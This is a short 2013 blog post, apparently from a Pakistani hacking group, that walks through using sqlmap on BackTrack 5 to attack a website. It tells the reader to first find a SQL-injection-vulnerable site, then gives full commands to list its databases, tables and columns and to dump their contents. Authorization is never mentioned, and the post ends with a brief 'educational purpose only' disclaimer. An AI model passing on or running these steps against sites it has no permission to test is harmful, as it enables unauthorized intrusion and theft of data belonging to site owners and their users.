Thursday 30 May 2013

0 SQL Map Tutorial- BackTrack 5r3 By Muhammad Bilal Pak Cyber Experts

[#]SQL Map Tutorial- BackTrack 5r3 By Muhammad Biall Pak Cyber Experts...!!!


So now lets begin:-
  • First find a sql vulnerable site.
  • Then open your sqlmap. This would look something like this:

  • To find the databases,type python sqlmap.py -u http://www.example.com/newsDetail.php?id=8 --dbs
Note:- 
  1. -u is used to denote the url
  2. --dbs is used to find database of the site

  • Then hit Enter Button. This would look something like this

  • Then if the site is vulnerable, this will show the database of the website.

  • To find the current database type  python sqlmap.py -u http://www.example.com/newsDetail.php?id=8 --current-db .Then hit Enter.
Note:-
  1. --current-db this is used to find current database used by the site.

  • After that, to find the tables of a database, type  python sqlmap.py -u http://www.example.com/newsDetail.php?id=8 -D database_name --tables
Note:-
  1. -D is used for taking a specific database.
  2. --tables is used for find the tables of a specific database. See the image


  • This will shows all the tables of a database.

  • Then, to find columns of a particular table, type python sqlmap.py -u http://www.example.com/newsDetail.php?id=8 -D database_name -T table_name --columns
Note:-
  1. -T is used for taking a specific table
  2. --columns is used for finding columns

  • Now we have come to final steps, till now we have found database, tables, and columns. This time we dump columns.
  • To dump columns, type  python sqlmap.py -u http://www.example.com/newsDetail.php?id=8 -D database_name -T table_name -C column_name --dump
Note:-
  1. -C is used for taking a specific column or columns. You can dump one columns or more than one columns by putting comma like this:- -C column_name1, column_name2, column_name3 etc.
  2. --dump is used for dumping column or columns at a time. You will understand this by seeing the image


  • Now you have successfully done !!
This is only for educational purpose, we are not responsible for any illegal activity done by you

0 comments:

Post a Comment

 

© Copyrights - Droid Guru